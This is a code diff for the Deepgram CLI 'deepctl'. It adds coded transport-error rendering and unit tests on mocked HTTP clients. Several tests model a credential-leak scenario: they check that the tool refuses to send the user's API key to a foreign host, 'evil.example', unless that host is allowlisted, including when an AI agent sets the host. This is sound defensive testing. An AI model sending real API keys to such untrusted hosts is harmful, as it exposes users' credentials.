+    if os.name == "nt" and name.lower().endswith(".exe"):
+        name = name[:-4]
+    if name not in _PROG_NAMES:
+        return None
+    found = shutil.which(name)
+    running = shutil.which(argv0) or argv0
+    try:
+        if found and os.path.samefile(found, running):
+            return name
+    except OSError:
+        pass
+    if not os.path.isfile(running):
+        return None
+    path = os.path.abspath(running)
+    if os.name == "nt":
+        return None if shlex.quote(path) != path else path
+    return shlex.quote(path)
+
+
+def _key_source(auth_manager: AuthManager | None) -> str | None:
+    if auth_manager is None:
+        return None
+    if auth_manager.explicit_api_key:
+        return KEY_SOURCE_FLAG
+    try:
+        key = auth_manager.get_api_key()
+    except Exception:
+        return None
+    if not key:
+        return None
+    # The order `dg whoami` uses: keyring, then the config file (a profile key
+    # equal to the env value came from the env), then the env.
+    import keyring
+
+    from .auth import KEYRING_SERVICE
+
+    env_key = os.environ.get("DEEPGRAM_API_KEY")
+    profile = auth_manager.config.profile or "default"
+    try:
+        stored = keyring.get_password(KEYRING_SERVICE, f"api-key.{profile}")
+    except Exception:
+        stored = None
+    if stored and stored == key:
+        return KEY_SOURCE_KEYRING
+    # Config merges the env key into the profile, so a file key equal to the
+    # env value came from the env.
+    return KEY_SOURCE_ENV if env_key == key else KEY_SOURCE_FILE
+
+
+def render(
+    err: TransportError,
+    *,
+    command_path: str,
+    auth_manager: AuthManager | None = None,
+) -> Any:
+    """The coded result for ``err``."""
+    from . import output
+
+    agentic = bool(output._output_config["agentic"])
+    hard = output.is_ai_agent()
+    soft_only = agentic and not hard
+    _, human, agent, automation = err.messages
+    program = prog()
+    details = dict(err.details)
+
+    next_step: str | None = None
+    hint_id = human if not agentic else (automation or agent) if soft_only else agent
+    if err.code == "auth_invalid":
+        source = _key_source(auth_manager)
+        if source:
+            details["key_source"] = source
+        if not soft_only and program:
+            next_step = f"{program} login"
+        if hard and source == KEY_SOURCE_ENV:
+            if program:
+                next_step = f"{program} login --yes"
+                hint_id = "A-AUTH-INVALID-ENV"
+            else:
+                hint_id = "A-AUTH-INVALID-ENV-NULL"
+    elif err.code == "invalid_argument" and program and command_path:
+        candidate = f"{program} {command_path} --help"
+        if shlex.join(shlex.split(candidate)) == candidate:
+            next_step = candidate
+
+    values = {
+        **err.values,
+        "prog": program or _PROG_NAMES[0],
+        "command_path": command_path,
+    }
+    hint = STRINGS[hint_id].format(**values)
+    return result_class()(
+        error=err.error,
+        code=err.code,
+        hint=hint,
+        next_step=next_step,
+        details=details or None,
+    )
+
+
+def _result_class() -> Any:
+    from pydantic import model_serializer
+
+    from .models import CodedErrorResult
+
+    class _TransportErrorResult(CodedErrorResult):
+        """A 0.5.0 coded error: ``error``, ``status``, ``code``, ``hint``,
+        ``next_step``, ``schema_version`` and, when set, ``details``.
+
+        Only transport errors use it: the 0.4.1 coded errors keep their keys.
+        """
+
+        next_step: str | None = None
+        schema_version: int = 1
+        details: dict[str, Any] | None = None
+
+        @model_serializer(mode="wrap")
+        def _drop_empty_details(self, handler: Any) -> dict[str, Any]:
+            data: dict[str, Any] = handler(self)
+            if not data.get("details"):
+                data.pop("details", None)
+            return data
+
+    _TransportErrorResult.__name__ = "TransportErrorResult"
+    _TransportErrorResult.__qualname__ = "TransportErrorResult"
+    return _TransportErrorResult
+
+
+_RESULT_CLASS: Any = None
+
+
+def result_class() -> Any:
+    """``TransportErrorResult``, built on first use so pydantic loads only
+    when a transport error is rendered."""
+    global _RESULT_CLASS
+    if _RESULT_CLASS is None:
+        _RESULT_CLASS = _result_class()
+    return _RESULT_CLASS
diff --git a/packages/deepctl-core/tests/unit/test_auth.py b/packages/deepctl-core/tests/unit/test_auth.py
index 6554b56b..946f1e11 100644
--- a/packages/deepctl-core/tests/unit/test_auth.py
+++ b/packages/deepctl-core/tests/unit/test_auth.py
@@ -266,22 +266,19 @@ def test_guard_with_no_api_key(self, auth_manager):
             ):
                 auth_manager.guard()
 
-    def test_guard_with_invalid_credentials(self, auth_manager):
-        """Test guard method with invalid credentials."""
-        # Set up API key
+    def test_guard_sends_nothing(self, auth_manager):
+        """guard() only checks that a key is there: no pre-flight request.
+
+        An invalid key is reported by the command's own request (401 ->
+        auth_invalid, deepctl_core.transport)."""
         with patch.object(
             auth_manager, "get_api_key", return_value="sk-test-key"
-        ):
-            # Mock failed key verification
-            with patch.object(
-                auth_manager,
-                "verify_api_key",
-                return_value=(False, "Invalid API key", "auth"),
-            ):
-                with pytest.raises(
-                    AuthenticationError, match="Invalid API key"
-                ):
-                    auth_manager.guard()
+        ), patch.object(auth_manager, "verify_api_key") as verify, patch.object(
+            auth_manager, "client"
+        ) as http:
+            auth_manager.guard()
+        verify.assert_not_called()
+        assert http.method_calls == []
 
     def test_guard_does_not_require_project_id(self, auth_manager):
         """Test that guard() only checks API key, not project_id."""
diff --git a/packages/deepctl-core/tests/unit/test_base_url_paths.py b/packages/deepctl-core/tests/unit/test_base_url_paths.py
index 5375e4a2..ef999a4b 100644
--- a/packages/deepctl-core/tests/unit/test_base_url_paths.py
+++ b/packages/deepctl-core/tests/unit/test_base_url_paths.py
@@ -8,7 +8,7 @@
 import httpx
 import pytest
 import yaml
-from deepctl_core import hosts, output
+from deepctl_core import hosts, output, transport
 from deepctl_core.auth import AuthManager
 from deepctl_core.client import DeepgramClient
 from deepctl_core.config import Config
@@ -24,6 +24,7 @@ def _isolated(tmp_path, monkeypatch):
         lambda: tmp_path / "user" / "config.yaml",
     )
     monkeypatch.setattr(hosts, "_reported", set())
+    monkeypatch.setattr(transport, "_client", None)
     monkeypatch.setattr(output, "is_ai_agent", lambda: False)
     monkeypatch.setattr(output, "is_agentic", lambda: False)
     monkeypatch.setattr(output.stderr_console, "_width", 400)
@@ -38,12 +39,14 @@ def user(tmp_path, data) -> str:
 
 def recording(config):
     seen: list[httpx.Request] = []
+
+    def handler(request: httpx.Request) -> httpx.Response:
+        seen.append(request)
+        return httpx.Response(200, json={"projects": []})
+
     auth = AuthManager(config)
-    auth.client = httpx.Client(
-        transport=httpx.MockTransport(
-            lambda r: seen.append(r) or httpx.Response(200, json={"projects": []})
-        )
-    )
+    auth.client = httpx.Client(transport=httpx.MockTransport(handler))
+    transport._set_client(httpx.Client(transport=httpx.MockTransport(handler)))
     return auth, seen
 
 
@@ -61,6 +64,8 @@ def test_env_source(tmp_path, monkeypatch):
     auth, seen = recording(config)
     assert auth.check_base_url() == PROXY
     auth.guard()
+    assert seen == []  # guard() checks the host and the key, and sends nothing
+    DeepgramClient(config, auth).get_projects()
     assert str(seen[0].url) == PROXY + "/v1/projects"
 
 
diff --git a/packages/deepctl-core/tests/unit/test_base_url_provenance.py b/packages/deepctl-core/tests/unit/test_base_url_provenance.py
index cc18cab8..ac720b2a 100644
--- a/packages/deepctl-core/tests/unit/test_base_url_provenance.py
+++ b/packages/deepctl-core/tests/unit/test_base_url_provenance.py
@@ -13,7 +13,7 @@
 import httpx
 import pytest
 import yaml
-from deepctl_core import hosts, output
+from deepctl_core import hosts, output, transport
 from deepctl_core.auth import AuthManager
 from deepctl_core.base_command import BaseCommand
 from deepctl_core.client import DeepgramClient
@@ -48,6 +48,7 @@ def _isolated(tmp_path, monkeypatch):
         "deepctl_core.config._trust_root_location", lambda: (tmp_path, tmp_path / "user" / "config.yaml")
     )
     monkeypatch.setattr(hosts, "_reported", set())
+    monkeypatch.setattr(transport, "_client", None)
     monkeypatch.setattr(output, "is_agentic", lambda: False)
     monkeypatch.setattr(output, "is_ai_agent", lambda: False)
     output._output_config.update(agentic=False, quiet=False, format="default")
@@ -79,7 +80,8 @@ def write_user(tmp_path, data) -> str:
 
 
 def recording_auth(config: Config) -> tuple[AuthManager, list[httpx.Request]]:
-    """AuthManager whose HTTP client records requests instead of sending."""
+    """AuthManager whose HTTP clients (its own, and the shared one the SDK
+    uses) record requests instead of sending."""
     seen: list[httpx.Request] = []
 
     def handler(request: httpx.Request) -> httpx.Response:
@@ -88,9 +90,17 @@ def handler(request: httpx.Request) -> httpx.Response:
 
     auth = AuthManager(config)
     auth.client = httpx.Client(transport=httpx.MockTransport(handler))
+    transport._set_client(httpx.Client(transport=httpx.MockTransport(handler)))
     return auth, seen
 
 
+def send(auth: AuthManager) -> None:
+    """What an authed command does: guard(), then its own request through
+    the SDK. There is no separate key check."""
+    auth.guard()
+    DeepgramClient(auth.config, auth).get_projects()
+
+
 KEYED = {"profiles": {"default": {"api_key": "sk-USERKEY"}}}
 
 
@@ -250,7 +260,7 @@ def test_agent_rendering_gets_agent_hint(signal, monkeypatch, tmp_path, capsys):
     monkeypatch.setenv("DEEPGRAM_BASE_URL", "https://proxy.example")
     config = Config(config_path=write_user(tmp_path, data))
     auth, seen = recording_auth(config)
-    auth.guard()  # sent: CI is not an AI-agent marker
+    send(auth)  # sent: CI is not an AI-agent marker
     assert seen
     captured = capsys.readouterr()
     for text in (captured.err, captured.out):
@@ -268,11 +278,11 @@ def test_untrusted_text_is_sanitized():
 
 
 class TestCredentialPaths:
-    def test_preflight_check_refuses_flag_host(self, tmp_path, capsys):
+    def test_command_path_refuses_flag_host(self, tmp_path, capsys):
         config = Config(config_path=write_user(tmp_path, KEYED), base_url=FOREIGN)
         auth, seen = recording_auth(config)
         with pytest.raises(CredentialHostError):
-            auth.guard()
+            send(auth)
         assert seen == []
         err = capsys.readouterr().err
         assert err.count("Not sending your API key to evil.example") == 1
@@ -293,11 +303,11 @@ def test_project_check_uses_the_checked_base_url(self, tmp_path, monkeypatch):
         auth.verify_credentials("sk-USERKEY", "P1")
         assert [str(r.url) for r in seen] == ["http://127.0.0.1:8080/v1/projects/P1"]
 
-    def test_preflight_sends_to_trusted_flag_host(self, tmp_path):
+    def test_command_path_sends_to_trusted_flag_host(self, tmp_path):
         data = {**KEYED, "api": {"allowed_hosts": ["evil.example"]}}
         config = Config(config_path=write_user(tmp_path, data), base_url=FOREIGN)
         auth, seen = recording_auth(config)
-        auth.guard()
+        send(auth)
         assert [r.url.host for r in seen] == ["evil.example"]
         assert seen[0].headers["Authorization"] == "Token sk-USERKEY"
 
@@ -360,7 +370,7 @@ def test_project_file_allowlist_does_not_trust_flag_host(self, tmp_path):
         config = Config(config_path=write_user(tmp_path, KEYED), base_url=FOREIGN)
         auth, seen = recording_auth(config)
         with pytest.raises(CredentialHostError) as err:
-            auth.guard()
+            send(auth)
         assert err.value.code == "foreign_host"
         assert seen == []
 
@@ -370,7 +380,7 @@ def test_saved_profile_base_url_refused(self, tmp_path):
         config = Config(config_path=write_user(tmp_path, data))
         auth, seen = recording_auth(config)
         with pytest.raises(CredentialHostError) as err:
-            auth.guard()
+            send(auth)
         assert err.value.message_id == "E-FH-PROFILE"
         assert seen == []
 
@@ -381,7 +391,7 @@ def test_saved_profile_base_url_allowlisted(self, tmp_path):
         }
         config = Config(config_path=write_user(tmp_path, data))
         auth, seen = recording_auth(config)
-        auth.guard()
+        send(auth)
         assert len(seen) == 1
 
     def test_agent_env_host_refused(self, tmp_path, monkeypatch, agentic):
@@ -390,7 +400,7 @@ def test_agent_env_host_refused(self, tmp_path, monkeypatch, agentic):
         config = Config(config_path=write_user(tmp_path, KEYED))
         auth, seen = recording_auth(config)
         with pytest.raises(CredentialHostError) as err:
-            auth.guard()
+            send(auth)
         assert err.value.code == "foreign_host"
         assert seen == []
 
@@ -399,14 +409,14 @@ def test_agent_env_host_allowlisted(self, tmp_path, monkeypatch, agentic):
         data = {**KEYED, "api": {"allowed_hosts": ["evil.example"]}}
         config = Config(config_path=write_user(tmp_path, data))
         auth, seen = recording_auth(config)
-        auth.guard()
+        send(auth)
         assert seen[0].headers["Authorization"] == "Token sk-USERKEY"
 
     def test_non_agent_loopback_env_allowed(self, tmp_path, monkeypatch):
         monkeypatch.setenv("DEEPGRAM_BASE_URL", "http://127.0.0.1:8080")
         config = Config(config_path=write_user(tmp_path, KEYED))
         auth, seen = recording_auth(config)
-        auth.guard()
+        send(auth)
         assert seen[0].url.host == "127.0.0.1"
         assert seen[0].headers["Authorization"] == "Token sk-USERKEY"
 
@@ -501,8 +511,8 @@ def test_ci_proxy_env_host_sent_with_one_warning(
         monkeypatch.setenv("DEEPGRAM_BASE_URL", "https://proxy.example")
         config = Config(config_path=write_user(tmp_path, KEYED))
         auth, seen = recording_auth(config)
-        auth.guard()
-        auth.guard()
+        send(auth)
+        send(auth)
         assert [r.url.host for r in seen] == ["proxy.example", "proxy.example"]
         assert seen[0].headers["Authorization"] == "Token sk-USERKEY"
         err = capsys.readouterr().err
@@ -523,7 +533,7 @@ def test_ci_proxy_env_host_refused_for_agent(
         config = Config(config_path=write_user(tmp_path, KEYED))
         auth, seen = recording_auth(config)
         with pytest.raises(CredentialHostError) as err:
-            auth.guard()
+            send(auth)
         assert err.value.code == "foreign_host"
         assert seen == []
 
@@ -533,7 +543,7 @@ def test_cron_like_env_host_allowed_with_warning(
         monkeypatch.setenv("DEEPGRAM_BASE_URL", "https://selfhosted.example")
         config = Config(config_path=write_user(tmp_path, KEYED))
         auth, seen = recording_auth(config)
-        auth.guard()
+        send(auth)
         assert seen[0].headers["Authorization"] == "Token sk-USERKEY"
         assert capsys.readouterr().err.count("(from DEEPGRAM_BASE_URL)") == 1
 
@@ -544,7 +554,7 @@ def test_regional_or_allowlisted_env_host_no_warning(
         data = {**KEYED, "api": {"allowed_hosts": ["proxy.example"]}}
         config = Config(config_path=write_user(tmp_path, data))
         auth, _ = recording_auth(config)
-        auth.guard()
+        send(auth)
         assert "(from DEEPGRAM_BASE_URL)" not in capsys.readouterr().err
 
 
@@ -577,7 +587,7 @@ def test_default_path_widens_trust(self, tmp_path):
         assert config.get_profile().base_url == "http://127.0.0.1:8000"
         assert config.get("tools.ffprobe_path") == "/repo/ffprobe"
         auth, seen = recording_auth(config)
-        auth.guard()
+        send(auth)
         assert seen[0].url.host == "127.0.0.1"
 
     def test_other_path_cannot_widen_trust(self, tmp_path, agentic, monkeypatch):
@@ -610,7 +620,7 @@ def test_other_path_cannot_widen_trust(self, tmp_path, agentic, monkeypatch):
         ) in texts
         assert not any(str(repo_file) in (h or "") for h in hints)
         auth, seen = recording_auth(config)
-        auth.guard()
+        send(auth)
         assert [r.url.host for r in seen] == ["api.deepgram.com"]
 
     def test_other_path_keeps_credentials_and_regional_url(self, tmp_path):
@@ -633,7 +643,7 @@ def test_other_path_flag_host_still_foreign(self, tmp_path):
         )
         auth, seen = recording_auth(config)
         with pytest.raises(CredentialHostError):
-            auth.guard()
+            send(auth)
         assert seen == []
 
 
@@ -717,7 +727,7 @@ def test_checked_url_is_the_url_used(self, tmp_path, flag):
         assert base == base.lower()
         assert base.startswith("https://api.")
         assert not base.endswith(".")
-        auth.guard()
+        send(auth)
         assert seen[0].url.host.startswith("api.")
         with (
             patch.object(AuthManager, "guard"),
@@ -764,7 +774,7 @@ def test_entry_forms(self, tmp_path, entry, recwarn):
         )
         assert config.allowed_hosts() == ["proxy.example"]
         auth, seen = recording_auth(config)
-        auth.guard()
+        send(auth)
         assert seen
         assert not [w for w in recwarn if "serializer" in str(w.message).lower()]
 
@@ -773,7 +783,7 @@ def test_entry_with_scheme_and_port(self, tmp_path):
         config = Config(config_path=write_user(tmp_path, data), base_url=LOOPBACK)
         assert config.allowed_hosts() == ["127.0.0.1:8000"]
         auth, seen = recording_auth(config)
-        auth.guard()
+        send(auth)
         assert seen
 
     def test_scheme_entry_does_not_match_host_named_https(self):
@@ -791,7 +801,7 @@ def test_custom_config_reads_allowlist_from_default_file(tmp_path):
     config = Config(config_path=str(other), base_url="https://h.example")
     assert config.allowed_hosts() == ["h.example"]
     auth, seen = recording_auth(config)
-    auth.guard()
+    send(auth)
     assert seen[0].url.host == "h.example"
 
 
@@ -802,6 +812,6 @@ def test_custom_config_hint_names_default_file(tmp_path, capsys):
     config = Config(config_path=str(other), base_url=FOREIGN)
     auth, _ = recording_auth(config)
     with pytest.raises(CredentialHostError) as err:
-        auth.guard()
+        send(auth)
     assert str(tmp_path / "user" / "config.yaml") in err.value.hint
     assert str(other) not in err.value.hint
diff --git a/packages/deepctl-core/tests/unit/test_client.py b/packages/deepctl-core/tests/unit/test_client.py
index 9b5d9174..17be91d2 100644
--- a/packages/deepctl-core/tests/unit/test_client.py
+++ b/packages/deepctl-core/tests/unit/test_client.py
@@ -4,6 +4,7 @@
 from unittest.mock import MagicMock, Mock, mock_open, patch
 
 import pytest
+from deepctl_core import transport
 from deepctl_core.auth import AuthManager
 from deepctl_core.client import DeepgramClient
 from deepctl_core.config import Config
@@ -128,6 +129,7 @@ def test_create_client_with_custom_base_url(
         # Verify DGClient was created with environment kwarg
         mock_dg_client.assert_called_once_with(
             api_key="sk-test",
+            httpx_client=transport.shared_client(),
             environment=mock_env.return_value,
             follow_redirects=False,
         )
diff --git a/packages/deepctl-core/tests/unit/test_transport.py b/packages/deepctl-core/tests/unit/test_transport.py
new file mode 100644
index 00000000..b5ec530a
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_transport.py
@@ -0,0 +1,729 @@
+"""The shared HTTP client and the catalogue's transport_mapping.
+
+Every row of the mapping goes through the real SDK facade
+(``DeepgramClient``) on an ``httpx.MockTransport``, so the test sees what a
+command sees. A loopback fake server checks the request and connection count.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import socket
+import ssl
+import subprocess
+import sys
+import threading
+from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+from pathlib import Path
+from typing import Any, ClassVar
+
+import click
+import httpx
+import pytest
+import yaml
+from click.testing import CliRunner
+from deepctl_core import hosts, output, transport
+from deepctl_core.auth import AuthManager
+from deepctl_core.base_command import BaseCommand
+from deepctl_core.client import DeepgramClient
+from deepctl_core.config import Config
+from deepctl_core.models import BaseResult
+from deepctl_core.transport import TransportError
+from deepctl_core.websocket import RedirectRefused
+
+KEY = "sk-W22SENTINELKEY"
+_REAL_PROG = transport.prog
+
+
+@pytest.fixture(autouse=True)
+def _isolated(tmp_path, monkeypatch):
+    monkeypatch.chdir(tmp_path)
+    monkeypatch.setattr(
+        "deepctl_core.config._default_config_file",
+        lambda: tmp_path / "user" / "config.yaml",
+    )
+    monkeypatch.setattr(
+        "deepctl_core.config._trust_root_location",
+        lambda: (tmp_path, tmp_path / "user" / "config.yaml"),
+    )
+    monkeypatch.setattr(hosts, "_reported", set())
+    monkeypatch.setattr(transport, "_client", None)
+    monkeypatch.setattr(output, "is_agentic", lambda: False)
+    monkeypatch.setattr(output, "is_ai_agent", lambda: False)
+    monkeypatch.setitem(output._output_config, "agentic", False)
+    monkeypatch.setitem(output._output_config, "verbose", False)
+    monkeypatch.setitem(output._output_config, "quiet", False)
+    monkeypatch.setitem(output._output_config, "format", "default")
+    monkeypatch.setattr(output.stderr_console, "_width", 400)
+    monkeypatch.setattr(transport, "prog", lambda: "dg")
+    from deepctl_core import auth as auth_module
+
+    monkeypatch.setattr(auth_module.keyring, "get_password", lambda *a: None)
+    # The SDK retries 429/5xx and connect errors with a back-off sleep.
+    import deepgram.core.http_client as sdk_http
+
+    monkeypatch.setattr(sdk_http.time, "sleep", lambda s: None)
+    monkeypatch.setenv("DEEPGRAM_API_KEY", KEY)
+
+
+def facade(handler) -> tuple[DeepgramClient, list[httpx.Request]]:
+    seen: list[httpx.Request] = []
+
+    def record(request: httpx.Request) -> httpx.Response:
+        seen.append(request)
+        return handler(request)
+
+    # Same redirect setting as transport.shared_client().
+    transport._set_client(
+        httpx.Client(transport=httpx.MockTransport(record), follow_redirects=False)
+    )
+    config = Config(config_path=str(Path.cwd() / "none.yaml"))
+    auth = AuthManager(config)
+    return DeepgramClient(config, auth), seen
+
+
+def raising(exc_factory):
+    def handler(request: httpx.Request) -> httpx.Response:
+        raise exc_factory(request)
+
+    return handler
+
+
+def status(code: int, body: Any = None, headers: dict | None = None):
+    def handler(request: httpx.Request) -> httpx.Response:
+        if isinstance(body, (bytes, str)):
+            return httpx.Response(code, content=body, headers=headers)
+        return httpx.Response(code, json=body or {"err_msg": "x"}, headers=headers)
+
+    return handler
+
+
+def mapped(handler, call=lambda c: c.list_models()) -> TransportError:
+    client, _ = facade(handler)
+    with pytest.raises(TransportError) as err:
+        call(client)
+    return err.value
+
+
+def _chained(outer, inner):
+    def make(request):
+        try:
+            raise inner
+        except BaseException as cause:
+            raise outer(str(cause), request=request) from cause
+
+    return make
+
+
+# ── transport_mapping, row by row ─────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    ("code", "expected", "message"),
+    [
+        (401, "auth_invalid", "Deepgram rejected the API key (HTTP 401)."),
+        (
+            403,
+            "auth_forbidden",
+            "This API key isn't allowed to make this request (HTTP 403).",
+        ),
+        (404, "not_found", "Deepgram returned 404 Not Found for /v1/models."),
+        (429, "rate_limited", "Deepgram is rate limiting requests (HTTP 429)."),
+        (400, "invalid_argument", "Deepgram rejected the request (HTTP 400): x"),
+        (422, "invalid_argument", "Deepgram rejected the request (HTTP 422): x"),
+        (418, "invalid_argument", "Deepgram rejected the request (HTTP 418): x"),
+        (500, "server_error", "Deepgram returned an error (HTTP 500)."),
+        (503, "server_error", "Deepgram returned an error (HTTP 503)."),
+    ],
+)
+def test_http_status_rows(code, expected, message):
+    err = mapped(status(code))
+    assert err.code == expected
+    assert err.error == message
+    assert err.details["http_status"] == code
+
+
+def test_429_retry_after_and_500_request_id():
+    err = mapped(status(429, headers={"Retry-After": "7"}))
+    assert err.details == {"http_status": 429, "retry_after": 7}
+    err = mapped(status(503, headers={"dg-request-id": "req-123"}))
+    assert err.details == {"http_status": 503, "request_id": "req-123"}
+
+
+def test_sdk_retries_before_mapping_5xx():
+    """The SDK's own retries still run; the code comes from the last answer."""
+    client, seen = facade(status(500))
+    with pytest.raises(TransportError):
+        client.list_models()
+    assert len(seen) == 3
+
+
+def test_invalid_request_message_is_sanitized():
+    body = {
+        "err_msg": f"bad \x1b[31mvalue {KEY} https://u:p@h.example/x?token=1 "
+        + "y" * 300
+    }
+    err = mapped(status(400, body))
+    assert KEY not in err.error and "\x1b" not in err.error
+    assert "u:p@" not in err.error and "token=1" not in err.error
+    api_message = err.values["api_message"]
+    assert len(api_message) <= 200
+
+
+def test_invalid_request_without_body_uses_reason_phrase():
+    err = mapped(status(400, b""))
+    assert err.error == "Deepgram rejected the request (HTTP 400): Bad Request"
+
+
+@pytest.mark.parametrize(
+    ("factory", "reason"),
+    [
+        (
+            _chained(
+                httpx.ConnectError, socket.gaierror(-2, "Name or service not known")
+            ),
+            "name resolution failed",
+        ),
+        (
+            _chained(
+                httpx.ConnectError, ConnectionRefusedError(111, "Connection refused")
+            ),
+            "connection refused",
+        ),
+        (
+            _chained(
+                httpx.ConnectError,
+                ssl.SSLError(1, "[SSL: WRONG_VERSION_NUMBER] wrong version number"),
+            ),
+            "TLS handshake failed",
+        ),
+        (
+            _chained(
+                httpx.ReadError, ConnectionResetError(104, "Connection reset by peer")
+            ),
+            "connection reset",
+        ),
+        (
+            lambda r: httpx.RemoteProtocolError(
+                "peer closed connection without sending complete message body: incomplete chunked read",
+                request=r,
+            ),
+            "response cut off",
+        ),
+        (
+            lambda r: httpx.RemoteProtocolError(
+                "Server disconnected without sending a response.", request=r
+            ),
+            "connection closed",
+        ),
+    ],
+)
+def test_network_rows(factory, reason):
+    err = mapped(raising(factory))
+    assert err.code == "network_unavailable"
+    assert err.details == {"host": "api.deepgram.com", "reason": reason}
+    if reason == "response cut off":
+        assert err.messages == transport.NETWORK_CUT
+        assert err.error == (
+            "The connection to api.deepgram.com dropped before the response finished."
+        )
+    else:
+        assert err.messages == transport.CODES["network_unavailable"]
+        assert err.error == f"Couldn't reach api.deepgram.com: {reason}."
+
+
+def test_unreadable_2xx_hint_names_host_and_prog(monkeypatch):
+    err = mapped(status(200, b"<html>sign in</html>"))
+    payload = _render(err, monkeypatch, agentic=False, hard=False)
+    assert payload["hint"] == transport.STRINGS["H-NETWORK-UNREADABLE"].format(
+        prog="dg", host="api.deepgram.com"
+    )
+
+
+def test_proxy_refusal_row():
+    err = mapped(raising(lambda r: httpx.ProxyError("407 Proxy Auth", request=r)))
+    assert err.code == "network_unavailable"
+    assert err.details["reason"] == "the proxy refused the connection"
+
+
+@pytest.mark.parametrize(
+    "exc",
+    [httpx.ReadTimeout, httpx.ConnectTimeout, httpx.WriteTimeout, httpx.PoolTimeout],
+)
+def test_timeout_row(exc):
+    err = mapped(raising(lambda r: exc("timed out", request=r)))
+    assert err.code == "timeout"
+    assert err.details == {"host": "api.deepgram.com", "timeout_s": 60}
+    assert err.error == "api.deepgram.com didn't respond within 60 s."
+
+
+@pytest.mark.parametrize(
+    "body", [b'{"models": [{"name": "nov', b"<html>captive portal</html>"]
+)
+def test_unreadable_2xx_body_row(body):
+    """A 2xx whose body can't be read is a network failure, not success."""
+    err = mapped(status(200, body))
+    assert err.code == "network_unavailable"
+    assert err.details == {"host": "api.deepgram.com", "reason": "unreadable response"}
+    assert err.messages == transport.NETWORK_UNREADABLE
+    assert err.error == "Got a response from api.deepgram.com that dg couldn't read."
+
+
+def test_speak_rest_maps_while_reading():
+    """The speak request happens while the command iterates the audio."""
+    client, _ = facade(status(401))
+    chunks = client.speak_text("hi")
+    with pytest.raises(TransportError) as err:
+        list(chunks)
+    assert err.value.code == "auth_invalid"
+
+
+def test_prerecorded_listen_maps(tmp_path):
+    audio = tmp_path / "a.wav"
+    audio.write_bytes(b"RIFF" + b"\0" * 64)
+    err = mapped(status(401), call=lambda c: c.transcribe_file(audio))
+    assert err.code == "auth_invalid"
+
+
+def test_non_transport_errors_keep_legacy_text():
+    """A failure that isn't a request failure keeps its 0.4.0 wording."""
+    from deepgram.core.api_error import ApiError
+
+    client, seen = facade(status(200, {"projects": []}))
+    with pytest.raises(FileNotFoundError, match="Audio file not found"):
+        client.transcribe_file("/does/not/exist.wav")
+    client._resolve_project_id = lambda project_id=None: "p1"
+
+    def broken(*args, **kwargs):
+        raise LookupError("sdk bug")
+
+    client.client.manage.v1.models.list = broken
+    with pytest.raises(ApiError) as err:
+        client.list_models()
+    assert err.value.body == "Failed to list models: sdk bug"
+    assert seen == []
+
+
+def test_every_code_is_catalogued():
+    for code, ids in [
+        *transport.CODES.items(),
+        ("cut", transport.NETWORK_CUT),
+        ("unreadable", transport.NETWORK_UNREADABLE),
+    ]:
+        for message_id in ids:
+            if message_id:
+                assert message_id in transport.STRINGS, (code, message_id)
+
+
+@pytest.mark.skipif(
+    not os.environ.get("DG_ERROR_CODES_JSON"),
+    reason="DG_ERROR_CODES_JSON names no error catalogue file",
+)
+def test_strings_match_catalogue():
+    catalogue = json.loads(Path(os.environ["DG_ERROR_CODES_JSON"]).read_text())
+    assert [row[1] for row in catalogue["transport_mapping"]] == [
+        "network_unavailable",
+        "timeout",
+        "auth_invalid",
+        "auth_forbidden",
+        "not_found",
+        "rate_limited",
+        "invalid_argument",
+        "server_error",
+    ]
+    for message_id, text in transport.STRINGS.items():
+        assert catalogue["strings"][message_id] == text, message_id
+    for code, (error_id, human, agent, automation) in transport.CODES.items():
+        entry = catalogue["codes"][code]
+        assert entry["exit"] == 1
+        message = next(m for m in entry["messages"] if m["id"] == error_id)
+        assert message["hint_human"] == human
+        assert message["hint_agent"] == agent
+        assert message.get("hint_automation") == automation
+    entry = catalogue["codes"]["network_unavailable"]
+    for extra, reason in (
+        (transport.NETWORK_CUT, "response cut off"),
+        (transport.NETWORK_UNREADABLE, "unreadable response"),
+    ):
+        message = next(m for m in entry["messages"] if m["id"] == extra[0])
+        assert (message["hint_human"], message["hint_agent"]) == extra[1:3]
+        assert "hint_automation" not in message
+        assert entry["details_values"][extra[0]] == {"reason": [reason]}
+    env = catalogue["codes"]["auth_invalid"]["env_key_variant"]
+    assert env == {
+        "hint_agent": "A-AUTH-INVALID-ENV",
+        "hint_agent_if_next_step_null": "A-AUTH-INVALID-ENV-NULL",
+    }
+
+
+# ── Rendering: hint variant, next_step, key order ────────────────────
+
+
+def _render(err, monkeypatch, *, agentic, hard, command_path="models", key_env=True):
+    monkeypatch.setitem(output._output_config, "agentic", agentic)
+    monkeypatch.setattr(output, "is_ai_agent", lambda: hard)
+    if not key_env:
+        monkeypatch.delenv("DEEPGRAM_API_KEY")
+    config = Config(config_path=str(Path.cwd() / "none.yaml"))
+    auth = AuthManager(config, explicit_api_key=None if key_env else KEY)
+    return transport.render(
+        err, command_path=command_path, auth_manager=auth
+    ).model_dump()
+
+
+def _401():
+    return TransportError("auth_invalid", {}, {"http_status": 401})
+
+
+def test_auth_invalid_hard_agent_env_key(monkeypatch):
+    payload = _render(_401(), monkeypatch, agentic=True, hard=True)
+    assert list(payload) == [
+        "error",
+        "status",
+        "code",
+        "hint",
+        "next_step",
+        "schema_version",
+        "details",
+    ]
+    assert payload == {
+        "error": "Deepgram rejected the API key (HTTP 401).",
+        "status": "error",
+        "code": "auth_invalid",
+        "hint": transport.STRINGS["A-AUTH-INVALID-ENV"],
+        "next_step": "dg login --yes",
+        "schema_version": 1,
+        "details": {"http_status": 401, "key_source": "DEEPGRAM_API_KEY (env)"},
+    }
+
+
+def test_auth_invalid_hard_agent_env_key_without_prog(monkeypatch):
+    monkeypatch.setattr(transport, "prog", lambda: None)
+    payload = _render(_401(), monkeypatch, agentic=True, hard=True)
+    assert payload["next_step"] is None
+    assert payload["hint"] == transport.STRINGS["A-AUTH-INVALID-ENV-NULL"].format(
+        prog="dg"
+    )
+
+
+def test_auth_invalid_soft_only_ci(monkeypatch):
+    payload = _render(_401(), monkeypatch, agentic=True, hard=False)
+    assert payload["next_step"] is None
+    assert payload["hint"] == transport.STRINGS["C-AUTH-INVALID"]
+
+
+def test_auth_invalid_hard_agent_flag_key(monkeypatch):
+    payload = _render(_401(), monkeypatch, agentic=True, hard=True, key_env=False)
+    assert payload["next_step"] == "dg login"
